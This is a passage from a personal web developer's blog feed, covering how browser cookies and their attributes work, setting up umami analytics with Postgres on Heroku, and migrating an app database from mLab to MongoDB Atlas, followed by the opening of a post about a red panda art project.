&lt;p&gt;I mean, I knew that it was a form of storage on the browser, but I&apos;d always used &lt;code&gt;localStorage&lt;/code&gt; for that. Recently I was working on something that used browser cookies and I figured it was a good time to figure them out.&lt;/p&gt;
&lt;h2&gt;Why cookie and not some other tasty snack?&lt;/h2&gt;
&lt;p&gt;I love the name cookie, but I can&apos;t help but wonder if there was a reason for it. Turns out I&apos;m not the only person who had that question. And the inventor of browser cookies, &lt;a href=&quot;http://montulli.blogspot.com/2013/05/the-reasoning-behind-web-cookies.html&quot;&gt;Lou Montulli&lt;/a&gt; explained that he had heard the term ‘magic cookie‘ from an operating systems course in college that had a similar meaning to the way his proposed solution for a session identifier worked.&lt;/p&gt;
&lt;p&gt;The original problem he was trying to solve was the implementation of an online shopping cart, which eventually led to the &lt;a href=&quot;https://curl.se/rfc/cookie_spec.html&quot;&gt;original specification&lt;/a&gt; for persistent client state, and has since evolved into the current &lt;a href=&quot;https://tools.ietf.org/html/rfc6265&quot;&gt;RFC 6265&lt;/a&gt;. The first cookies were used to verify repeat visitors to the Netscape website.&lt;/p&gt;
&lt;h2&gt;So how does this non-edible cookie work?&lt;/h2&gt;
&lt;p&gt;A cookie is a small plain text file stored in the browser. There isn&apos;t anything executable in there. It simply contains a small amount of data. Every browser stores them in a slightly different location (e.g. &lt;a href=&quot;https://www.digitalcitizen.life/cookies-location-windows-10/&quot;&gt;Where cookies are located in Windows 10, for all web browsers&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The data in the cookie is sent over by the server, stored on the user&apos;s browsers, then used in subsequent requests as an identifier of sorts. Cookies are mainly used to remember state (if you are logged in, shopping cart items, user preferences etc.) as well as tracking.&lt;/p&gt;
&lt;p&gt;Cookies are created when the server sends over one or more &lt;code&gt;Set-Cookie&lt;/code&gt; headers with its response, something along these lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: NAME=VALUE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It could be any name-value pair, but each cookie can contain only 1 name-value pair. If you need more than 1 cookie, then multiple &lt;code&gt;Set-Cookie&lt;/code&gt; headers are needed. An example of a server sending over cookie headers to the browser looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: viola=red_panda
Set-Cookie: mathia=polar_bear
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a frontend developer, I must admit I don&apos;t debug server-sent headers very often so this is not something I see on a regular basis. Once the cookie is set, all subsequent requests to the server from the browser will also have the cookies in its request header.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /demos/cookie/ HTTP/2
Host: huijing.github.io
Cookie: viola=red_panda; mathia=polar_bear
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though cookies are usually created on the server, you can also create them on the client-side with JavaScript, using &lt;code&gt;document.cookie&lt;/code&gt;. Browser cookies also have a number of attributes in addition to the name-value pair mentioned earlier.&lt;/p&gt;
&lt;h2&gt;Cookie attributes&lt;/h2&gt;
&lt;p&gt;The cookie name can be any US-ASCII characters except control characters, spaces, tabs or separator characters. The cookie value can be optionally wrapped in double quotes and be any US-ASCII characters except control characters, double quotes, commas, semicolons, backslash and whitespace.&lt;/p&gt;
&lt;p&gt;Adding special prefixes to the cookie name also forces certain requirements. If your cookie name starts with &lt;code&gt;__Secure-&lt;/code&gt;, it must be set with the &lt;code&gt;secure&lt;/code&gt; flag from a page served with &lt;code&gt;HTTPS&lt;/code&gt;. If your cookie name starts with &lt;code&gt;__Host-&lt;/code&gt;, it must be set with the &lt;code&gt;secure&lt;/code&gt; flag from a page served with &lt;code&gt;HTTPS&lt;/code&gt;, it must not have a domain specified and its path must be &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The rest of the attributes are optional but can impact cookie behaviour significantly depending on what values are set.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Expires=&amp;lt;date&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;When a cookie passes its expiry date, it will no longer be sent with browser requests, and instead will be deleted. The date value is a HTTP timestamp.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Max-Age=&amp;lt;number&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Also related to a cookie’s expiry, but in seconds. After the specified amount of time, the cookie will expire, so setting it to 0 or a negative number means instant expiry. &lt;code&gt;Max-Age&lt;/code&gt; takes precedence over &lt;code&gt;Expires&lt;/code&gt; if both are set.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Domain=&amp;lt;domain-value&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Specifies the host where the browser cookie gets sent to. Only a single domain is allowed. If not present, this defaults to the current document URL’s host. When specified, all sub-domains are included as well.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Path=&amp;lt;path-value&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Cookie will only be sent if the path exists in the current URL&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Secure&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Cookie will only be sent when the request is made with HTTPS&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;HttpOnly&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;JavaScript cannot access the cookie through &lt;code&gt;document.cookie&lt;/code&gt; (to mitigate XSS attacks)&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;SameSite=&amp;lt;samesite-value&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Specifies if a cookie is sent with cross-origin requests.
      &lt;ul&gt;
        &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;Strict&lt;/code&gt; means the cookie is only sent for requests originating from the same URL as the current one.&lt;/li&gt;
        &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;Lax&lt;/code&gt; means the cookie is not sent on cross-site requests, but will be sent if the user navigates to the origin site from an external site.&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;None&lt;/code&gt; means the cookie will be sent on both same-site and cross-site requests, but can only be used if the &lt;code&gt;Secure&lt;/code&gt; attribute is also set.&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you use Firefox, you may notice a console log message like this on some websites.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cookie/samesite-480.png 480w, /images/posts/cookie/samesite-640.png 640w, /images/posts/cookie/samesite-960.png 960w, /images/posts/cookie/samesite-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cookie/samesite-640.png&quot; alt=&quot;Console message in Firefox stating Some cookies are misusing the SameSite attribute, so it won&apos;t work as expected&quot;&gt;
&lt;p&gt;Back in August 2020, Mozilla &lt;a href=&quot;https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/&quot;&gt;made the decision&lt;/a&gt; to treat cookies as &lt;code&gt;SameSite=Lax&lt;/code&gt; by default, and require cookies with &lt;code&gt;SameSite=None&lt;/code&gt; to also set the &lt;code&gt;Secure&lt;/code&gt; attribute. The original behaviour for cookies was &lt;code&gt;SameSite=None&lt;/code&gt; but this leaves users susceptible to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/CSRF&quot;&gt;Cross-Site Request Forgery&lt;/a&gt; attacks.&lt;/p&gt;
&lt;p&gt;Both Chrome and Firefox has rolled this out, but it seems like only Firefox displays the console log warning? If you can verify the console logging situation, please let me know.&lt;/p&gt;
&lt;h2&gt;Using cookies to do stuff&lt;/h2&gt;
&lt;p&gt;Cookies without an &lt;code&gt;Expires&lt;/code&gt; or &lt;code&gt;Max-Age&lt;/code&gt; attribute are treated as session cookies, which means they are removed once the browser is closed. Setting a value on either &lt;code&gt;Expires&lt;/code&gt; or &lt;code&gt;Max-Age&lt;/code&gt; makes them permanent cookies, since they will exist until they hit their expiry date.&lt;/p&gt;
&lt;p&gt;Again, I usually don&apos;t do server-side stuff so I&apos;ll only talk about messing around with cookies on the client-side. The &lt;code&gt;Document&lt;/code&gt; has a &lt;code&gt;cookie&lt;/code&gt; property that lets us read and write browser cookies via JavaScript.&lt;/p&gt;
&lt;p&gt;To see all cookies associated with the document, use &lt;code&gt;document.cookie&lt;/code&gt;. You can type this in the browser&apos;s console and see something like this:&lt;/p&gt;
&lt;img src=&quot;/images/posts/cookie/allcookies.png&quot; srcset=&quot;/images/posts/cookie/allcookies@2x.png 2x&quot; alt=&quot;Running document.cookie in the browser console&quot;&gt;
&lt;p&gt;To create a new cookie, you can do something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.cookie = &amp;quot;xiaohua=tortoise&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you need more than one cookie, you&apos;ll have to do this for every cookie you want to create.&lt;/p&gt;
&lt;img src=&quot;/images/posts/cookie/create.png&quot; srcset=&quot;/images/posts/cookie/create@2x.png 2x&quot; alt=&quot;Create a new cookie in the browser console&quot;&gt;
&lt;p&gt;Even if you refresh the page, the cookie should still be there. To get rid of the cookie, or reset it, you can set the &lt;code&gt;Expires&lt;/code&gt; value to the beginning of time itself, &lt;code&gt;Thu, 01 Jan 1970 00:00:00 GMT&lt;/code&gt;. I&apos;m semi-kidding. Just in case you never heard of this interesting (and fairly important) piece of trivia, I shall quote MDN:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A JavaScript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on January 1, 1970, UTC. This date and time are not the same as the UNIX epoch (the number of seconds that have elapsed since midnight on January 1, 1970, UTC), which is the predominant base value for computer-recorded date and time values.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For example, if I wanted to get rid of the &lt;code&gt;taria&lt;/code&gt; cookie, I would do this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.cookie = &amp;quot;taria= ;expires=Thu, 01 Jan 1970 00:00:00 GMT&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;img src=&quot;/images/posts/cookie/reset.png&quot; srcset=&quot;/images/posts/cookie/reset@2x.png 2x&quot; alt=&quot;Reset a cookie in the browser console&quot;&gt;
&lt;p&gt;Because cookies are strings, doing things based on cookie data involves mostly string manipulation. So I won&apos;t go into that in detail, but here&apos;s &lt;a href=&quot;https://huijing.github.io/demos/cookie/&quot;&gt;a ridiculous demo&lt;/a&gt; you can play around with, ideally with DevTools open. It just randomly assigns a group cookie, then shows you something different based on that.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://huijing.github.io/demos/cookie/&quot;&gt;&lt;img srcset=&quot;/images/posts/cookie/demo-480.png 480w, /images/posts/cookie/demo-640.png 640w, /images/posts/cookie/demo-960.png 960w, /images/posts/cookie/demo-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cookie/demo-640.png&quot; alt=&quot;Screenshot of cookie demo site&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://twitter.com/tomayac&quot;&gt;Thomas Steiner&lt;/a&gt; shared about the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API&quot;&gt;Cookie Store API&lt;/a&gt; and its &lt;a href=&quot;https://github.com/markcellus/cookie-store&quot;&gt;polyfill&lt;/a&gt; which lets us avoid having to the do not fun string manipulations mentioned above.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It&apos;s been a while since I last published anything. I suppose this is the longest hiatus I&apos;ve had since I started this blog, but somehow being stuck in the same place doesn&apos;t seem to motivate me to write words. But we&apos;ll see.&lt;/p&gt;
&lt;p&gt;Meanwhile, go eat some of your favourite cookies.&lt;/p&gt;
&lt;h2&gt;Resource links&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://blogs.gartner.com/martin-kihn/cookies-chaos-and-the-browser-meet-lou-montulli/&quot;&gt;Cookies, Chaos and the Browser: Meet Lou Montulli&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies&quot;&gt;Using HTTP cookies&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie&quot;&gt;Set-Cookie&lt;/a&gt; on MDN&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie&quot;&gt;Document.cookie&lt;/a&gt; on MDN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://youtu.be/9pfL8-MP39Y&quot;&gt; Red Panda Loves Cookies&lt;/a&gt; video on Oregon Zoo Youtube channel&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Setting up umami on Heroku</title><link>https://chenhuijing.com/blog/setting-up-umami-on-heroku/</link><guid isPermaLink="true">https://chenhuijing.com/blog/setting-up-umami-on-heroku/</guid><description>I migrated this website from Jekyll to Hugo about half a year ago and also took the opportunity to move hosting from GitHub Pages to Netlify. What I didn&apos;t…</description><pubDate>Thu, 08 Oct 2020 12:31:04 GMT</pubDate><content:encoded>&lt;p&gt;I migrated this website from Jekyll to Hugo about half a year ago and also took the opportunity to move hosting from GitHub Pages to Netlify. What I didn&apos;t think to take care of at the time was site analytics.&lt;/p&gt;
&lt;p&gt;I had been using CloudFlare to serve my site out to the interwebs and I seem to remember entering some GA code in the settings years ago. So I guess CloudFlare was handling the Google Analytics stuff? Clearly, I HAVE NO IDEA.&lt;/p&gt;
&lt;p&gt;Anyway, I had no GA script on my website at all back then. So when I migrated over to Hugo, there was no GA script on the &amp;quot;new&amp;quot; site either. But because I now only used CloudFlare for DNS only, I guess the traffic wasn&apos;t served via CloudFlare any longer and hence no more numbers?&lt;/p&gt;
&lt;img src=&quot;/images/posts/umami/ga-dead.png&quot; srcset=&quot;/images/posts/umami/ga-dead@2x.png 2x&quot; alt=&quot;Overview panel of Google Analytics showing zero numbers after the migration date&quot;&gt;
&lt;p&gt;As you can tell by now, I don&apos;t really care for analytics (on this site, at least). Because it took me 4 months to realise there were no numbers flowing into my GA dashboard (I log in maybe twice a year).&lt;/p&gt;
&lt;p&gt;After putting two and two together and realising what had happened, I figured there was no point adding the script back since I never did anything useful with the data anyway.&lt;/p&gt;
&lt;h2&gt;What is this umami thing?&lt;/h2&gt;
&lt;p&gt;Now that I&apos;ve set the context, let&apos;s talk about &lt;a href=&quot;https://umami.is/&quot;&gt;umami&lt;/a&gt;, an open-source self-hosted website analytics app. About a month ago, an article by &lt;a href=&quot;https://twitter.com/caozilla&quot;&gt;Mike Cao&lt;/a&gt; on how he built umami in 30 days was making the rounds among web developer circles.&lt;/p&gt;
&lt;p&gt;I took a look at it, and the live demo, and found it so much easier to understand than Google Analytics. It told me how many people visited my site (and pages), how long they stayed, which geographical location traffic was coming from and browser/OS numbers.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/umami/dashboard-480.png 480w, /images/posts/umami/dashboard-640.png 640w, /images/posts/umami/dashboard-960.png 960w, /images/posts/umami/dashboard-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/umami/dashboard-640.png&quot; alt=&quot;umami analytics dashboard&quot;&gt;
&lt;p&gt;These are data points that my tiny little brain actually comprehends. Ah-mazing. I felt like less of an idiot at this point. It was always at the back of my mind to get around to setting it up, because the documentation provided very clear instructions for doing so.&lt;/p&gt;
&lt;p&gt;I finally got around to doing it after &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt; and I launched the &lt;a href=&quot;https://fluffyphil.org/&quot;&gt;Fluffy Philharmonic&lt;/a&gt; website. This is our music/art/web project about a group of fluffy musicians who love music, centred around a red panda named Viola, who loves playing the viola.&lt;/p&gt;
&lt;img src=&quot;/images/posts/umami/fluffy-phil.png&quot; srcset=&quot;/images/posts/umami/fluffy-phil@2x.png 2x&quot; alt=&quot;Family photo of the Fluffy Philharmonic as of 8 Oct&quot;&gt;
&lt;p&gt;On the site, we introduce all our musicians and publish a web comic about stories that come to mind when we hear certain pieces. Even if classical music isn&apos;t your thing, we think our characters are pretty cute, so please check out this passion project of ours. We are also selling stickers at &lt;a href=&quot;https://redviolapanda.com&quot;&gt;https://redviolapanda.com&lt;/a&gt; if you&apos;d like to support our efforts.&lt;/p&gt;
&lt;p&gt;We figured it might be interesting to see what kind of audience lands on our site. Cue umami (actually I simply asked Wei if we could try umami for analytics, she said sure, so here we are).&lt;/p&gt;
&lt;h2&gt;Application setup on Heroku&lt;/h2&gt;
&lt;p&gt;Please read the &lt;a href=&quot;https://umami.is/docs/about&quot;&gt;umami documentation&lt;/a&gt; because it&apos;s really well-written. For running umami, you need an application server running Node.js 10.13 or newer, and a database (either MySQL or PostgreSQL).&lt;/p&gt;
&lt;p&gt;Deploying an application on Heroku is fairly straightforward, especially if you have connected your GitHub account. You can either fork or duplicate the &lt;a href=&quot;https://github.com/mikecao/umami&quot;&gt;umami repository&lt;/a&gt;, then connect your Heroku application to your repository from the &lt;em&gt;Deploy&lt;/em&gt; section of the dashboard.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/umami/heroku-480.png 480w, /images/posts/umami/heroku-640.png 640w, /images/posts/umami/heroku-960.png 960w, /images/posts/umami/heroku-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/umami/heroku-640.png&quot; alt=&quot;A successfully connected GitHub repository with automatic deployment enabled&quot;&gt;
&lt;h2&gt;Database setup on Heroku&lt;/h2&gt;
&lt;p&gt;The database setup bit was more tricky for me because I hadn&apos;t used &lt;a href=&quot;https://elements.heroku.com/addons/heroku-postgresql&quot;&gt;Heroku&apos;s Postgres addon&lt;/a&gt; before. You can do it via command line but I wasn&apos;t really a Heroku power-user so it was pointy-clicky for me.&lt;/p&gt;
&lt;p&gt;I went through the motions of installing Heroku Postgres and provisioning it to my application as per the guided workflow. After that, I could see Heroku Postgres attached as DATABASE from the &lt;em&gt;Resources&lt;/em&gt; section of the dashboard.&lt;/p&gt;
&lt;p&gt;According to documentation, you would want to create a database for your umami installation by running the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;psql -h hostname -U username -d databasename -f sql/schema.postgresql.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To do that on Heroku, I suggest doing it via command line, so install the Heroku CLI. I&apos;m using a Mac, and also installed &lt;code&gt;postgresql&lt;/code&gt; via homebrew so I could use the &lt;code&gt;psql&lt;/code&gt; command. Actually, I&apos;m not sure if that was necessary. You could just do the Heroku CLI and see if that works out-the-box.&lt;/p&gt;
&lt;p&gt;Okay, now, the part which required much Googling. How do you run sql scripts on Heroku? I found &lt;a href=&quot;https://stackoverflow.com/a/15266851/2873785&quot;&gt;this StackOverflow answer&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/johnbeynon&quot;&gt;John Beynon&lt;/a&gt;, which explains how to decipher the required parameters from the &lt;code&gt;DATABASE_URL&lt;/code&gt; in your app config settings.&lt;/p&gt;
&lt;img src=&quot;/images/posts/umami/config.png&quot; srcset=&quot;/images/posts/umami/config@2x.png 2x&quot; alt=&quot;Environment configuration variables on Heroku&quot;&gt;
&lt;p&gt;So from:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DATABASE_URL: postgres://username:password@host:port/dbname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can break it down into:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;psql -h host -p port -d dbname -U username -f datafile.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In my case, this worked out into something that looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;heroku run psql -h YOUR_HOST_IP.compute.amazonaws.com -U HEROKU_ASSIGNED_USERNAME -d HEROKU_ASSIGNED_DBNAME -f sql/schema.postgresql.sql -a APPLICATION_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will end up with a login account with username &lt;strong&gt;admin&lt;/strong&gt; and password &lt;strong&gt;umami&lt;/strong&gt;. You can change this once you log into your umami instance from the &lt;em&gt;Profile&lt;/em&gt; section under &lt;em&gt;Settings&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;ve been running it for a week, and am pretty happy with how it&apos;s working. It hasn&apos;t had an impact on site performance thus far (our Lighthouse score fluctuates around 98-100). But depending on your site traffic, odds are you will hit the threshold of 10,000 rows on the &lt;em&gt;Hobby Dev&lt;/em&gt; free tier.&lt;/p&gt;
&lt;img src=&quot;/images/posts/umami/lighthouse.png&quot; srcset=&quot;/images/posts/umami/lighthouse@2x.png 2x&quot; alt=&quot;Lighthouse score of 100&quot;&gt;
&lt;p&gt;If you are happy with it and want to continue using umami, you should probably upgrade to a higher tier on Heroku, or search for some other service that doesn&apos;t have such limits. I&apos;ll leave that research up to you.&lt;/p&gt;
</content:encoded></item><item><title>Migrating mLab to MongoDB Atlas</title><link>https://chenhuijing.com/blog/migrating-mlab-to-mongodb-atlas/</link><guid isPermaLink="true">https://chenhuijing.com/blog/migrating-mlab-to-mongodb-atlas/</guid><description>Well, well, well. It&apos;s that time again when I revisit some random thing I built years ago and brace myself for the extent of potential code rot. Confession…</description><pubDate>Mon, 05 Oct 2020 03:59:11 GMT</pubDate><content:encoded>&lt;p&gt;Well, well, well. It&apos;s that time again when I revisit some random thing I built years ago and brace myself for the extent of potential &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_rot&quot;&gt;code rot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Confession time. I&apos;m the kind of person who runs &lt;code&gt;brew update; and brew upgrade&lt;/code&gt; every day. Update first, fix if breaks, is my general way of doing things. In my defense, I only do this for projects I&apos;m wholly responsible for. More restraint is exercised for projects that will impact others.&lt;/p&gt;
&lt;p&gt;Anyway, the project in question was this CRUD app I wrote back in 2017 for tracking library books I wanted to check out. I did write &lt;a href=&quot;/blog/the-one-about-an-app&quot;&gt;a blog post&lt;/a&gt; about that as well. It was so long ago that I actually chuckled when I read it, which is great because if nobody else appreciates my brand of humour, at least I know I still do &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crazy eyes face&quot;&gt;🤪&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Why migrate? Why now?&lt;/h2&gt;
&lt;p&gt;Excellent question. I didn&apos;t plan it. A little while ago, I got a notification email from mLab that they had been acquired by MongoDB and were asking their users to migrate over to MongoDB Atlas.&lt;/p&gt;
&lt;p&gt;Apparently this was announced on &lt;strong&gt;October 9, 2018&lt;/strong&gt;. Clearly I was not paying attention. I only had one database with mLab anyway and it was for an app with an audience of one, myself. Anyhoo, this is a short documentation of the migration process (which was fairly straightforward except for some tiny issues I ran into) if anyone else also plans to migrate.&lt;/p&gt;
&lt;p&gt;Because my little app is so little, the free tier offering was more than enough. I also never had reason to actually log into mLab to look at my database because, like, why?&lt;/p&gt;
&lt;p&gt;So if you too forgot what the interface looked like, here it is. Now with a reminder banner to MOVE YOUR SHIT NOW! (not in those words, but still). Targeted at folks like yours truly who disregarded the announcement for the past 2 years.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/mlab/mlab-480.png 480w, /images/posts/mlab/mlab-640.png 640w, /images/posts/mlab/mlab-960.png 960w, /images/posts/mlab/mlab-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/mlab/mlab-640.png&quot; alt=&quot;mLab dashboard when you log in&quot;&gt;
&lt;h2&gt;Does it still run on local?&lt;/h2&gt;
&lt;p&gt;This is a legitimate concern since I never bothered to isolate my development work in separate environments. Also, I thought it was a great idea to just update everything in &lt;code&gt;package.json&lt;/code&gt; because why not?&lt;/p&gt;
&lt;p&gt;The only major impediment to getting the app to run was this message:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;3:06:32 PM dev.1 |  const authMiddleware = auth.connect(basic)
3:06:32 PM dev.1 |                              ^
3:06:32 PM dev.1 |  TypeError: auth.connect is not a function
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3 years in, I honestly cannot remember why I went with that implementation but I know I was too lazy to do any proper user management and just wanted the most rudimentary HTTP authentication. The &lt;code&gt;http-auth&lt;/code&gt; package offers this, but I was clearly not using it in the way their documentation specified.&lt;/p&gt;
&lt;p&gt;Maybe things changed over 3 years. No matter, just follow the examples provided in the documentation and we&apos;re good to go. Turns out there were no breaking changes after bringing all the dependencies up to current. Looking back at my commit log, I apparently fixed a breaking change with MongoDB back in 2018. I just can&apos;t remember anymore.&lt;/p&gt;
&lt;p&gt;After that was settled, it was migration time.&lt;/p&gt;
&lt;h2&gt;Life is slightly easier with clear documentation&lt;/h2&gt;
&lt;p&gt;First thing I did was click the link on the banner, which directed me to the documentation on how to migrate. I appreciate the clear and granular instructions and once you sign up for an account on MongoDB Atlas, you can see the workflow integration they built in for migration which you can take advantage of once you connect your mLab account.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/mlab/integration-480.png 480w, /images/posts/mlab/integration-640.png 640w, /images/posts/mlab/integration-960.png 960w, /images/posts/mlab/integration-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/mlab/integration-640.png&quot; alt=&quot;mLab integration on the MongoDB Atlas dashboard&quot;&gt;
&lt;p&gt;The wizard ran for me without too much trouble, so hopefully it works out as smoothly for you as well. Where I ran into trouble was getting my app to connect to the new database. Disclaimer, I don&apos;t think this is an mLab/MongoDB Atlas problem. More of a the-issue-is-between-the-monitor-and-the-chair kind of problem.&lt;/p&gt;
&lt;img src=&quot;/images/posts/mlab/wizard.png&quot; srcset=&quot;/images/posts/mlab/wizard@2x.png 2x&quot; alt=&quot;Migration checklist wizard on MongoDB Atlas&quot;&gt;
&lt;p&gt;On the app side, the only change was for the command to connect to the database. The format provided by mLab is something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mongodb://&amp;lt;dbuser&amp;gt;:&amp;lt;dbpassword&amp;gt;@&amp;lt;mlabhost&amp;gt;:&amp;lt;portnumber&amp;gt;/&amp;lt;dbname&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It was a copy-paste and it works situation when I set it up back in the day. The format used by MongoDB Atlas is slightly different and the trick was figuring out what it was to connect successfully.&lt;/p&gt;
&lt;p&gt;Atlas provides this URI to copy-paste into your application code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mongodb+srv://admin:&amp;lt;password&amp;gt;@&amp;lt;atlashost&amp;gt;/&amp;lt;dbname&amp;gt;?retryWrites=true&amp;amp;w=majority
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I assumed the credentials from my mLab database would be ported over with no issues but I kept running into authentication issues.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4:31:54 PM dev.1 |  MongoNetworkError: failed to connect to server [library-shard-00-01.eljl3.mongodb.net:27017] on first connect [MongoError: bad auth Authentication failed.
&lt;/code&gt;&lt;/pre&gt;
&lt;img src=&quot;/images/posts/mlab/admin.png&quot; srcset=&quot;/images/posts/mlab/admin@2x.png 2x&quot; alt=&quot;Reset your database user password from the dashboard&quot;&gt;
&lt;p&gt;In the end, I gave up and reset the admin password from the Atlas dashboard. If you run into similar authentication issues, you could try this as a last resort? Anyway, if you put this off like I did for 2 years, now is a good time to move your stuff because the deadline for migration is December 8, 2020. Just saying.&lt;/p&gt;
</content:encoded></item><item><title>What is RedViolaPanda?</title><link>https://chenhuijing.com/blog/what-is-redviolapanda/</link><guid isPermaLink="true">https://chenhuijing.com/blog/what-is-redviolapanda/</guid><description>This is a question that is impossible to explain with a short answer. But let&apos;s give it a try. Red pandas are very cute and very fluffy. Violas are part of the…</description><pubDate>Sun, 30 Aug 2020 01:36:27 GMT</pubDate><content:encoded>&lt;p&gt;This is a question that is impossible to explain with a short answer. But let&apos;s give it a try. Red pandas are very cute and very fluffy. Violas are part of the string instrument family. And… okay, can&apos;t be done. Long-winded story time!&lt;/p&gt;
&lt;p&gt;So my most mathy best friend, &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt;, is also my most musical friend. And she used to play the violin for many years. Recently, she decided to start playing the viola and discovered that it was THE instrument for her.&lt;/p&gt;
&lt;p&gt;Note that we both are certified experts in the field of nonsense, hence it is not a surprise that shenanigans are a regular part of our lives.&lt;/p&gt;
